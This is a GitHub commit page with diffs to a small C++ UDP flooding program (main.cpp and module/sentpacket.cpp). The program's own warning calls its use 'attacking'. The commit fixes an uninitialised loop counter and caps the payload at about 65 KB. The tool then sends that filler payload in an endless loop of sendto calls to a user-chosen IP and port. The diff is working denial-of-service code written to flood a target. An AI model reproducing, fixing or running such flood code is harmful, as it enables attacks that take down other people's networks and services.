Skip to content
This repository was archived by the owner on May 10, 2025. It is now read-only.

Commit c14e41a

Browse files
author
Phapoom Saksri
authored
Add files via upload
1 parent 54090a9 commit c14e41a

File tree

2 files changed

+7
-6
lines changed

2 files changed

+7
-6
lines changed

main.cpp

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -56,12 +56,12 @@ int main() {
5656
cout << "WARNING: THIS ATTACKING IS MADE BY YOU! PLEASE DO THIS WITH YOUR OWN RISK!\nIF YOU NEED CANCEL THIS PLEASE PRESS CTRL+C FOR CLOSE THIS PROGRAM.\n";
5757
cout << "Threads: ";
5858
cin >> threads;
59-
cout << "KB (Recommendeds: 512): ";
59+
cout << "Due to Limited of UDP Payloads, We know only C++ UDP allowed only 65KB (65507 bytes) than 65kb that will got -1 bytes.\nAlso If that won't start, just put a kb again.\n";
60+
cout << "KB (MAX: 65): ";
6061
cin >> kb;
61-
cout << "\nAsking again: KB (Recommendeds: 512): ";
6262
cin >> kb;
6363
cout << "\nGenerating KB (Size)....\n";
64-
for (int i; i < 1024 * kb; i++){
64+
for (int i = 0; i < 1024 * kb; i++){
6565
msg = msg + "x"; // DO NOT DOUBLE IT OR CHANGE IT BECAUSE THAT MAYBE BROKEN BYTE OF PACKET TO -1 BYTES!
6666
}
6767
cout << "Creating task...\n";

module/sentpacket.cpp

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@ int sock = ::socket(AF_INET, SOCK_DGRAM, 0);
2222
destination.sin_family = AF_INET;
2323
destination.sin_port = htons(port);
2424
destination.sin_addr.s_addr = inet_addr(ip.c_str());
25-
loop:
25+
26+
loopforever:
2627
int n_bytes = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
2728
std::cout << n_bytes << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
2829
int n_bytes2 = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
@@ -31,7 +32,7 @@ int sock = ::socket(AF_INET, SOCK_DGRAM, 0);
3132
std::cout << n_bytes3 << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
3233
int n_bytes4 = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
3334
std::cout << n_bytes4 << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
34-
35-
goto loop;
35+
goto loopforever; // some int cannot use with while or for
36+
3637
}
3738
};

0 commit comments

Comments
 (0)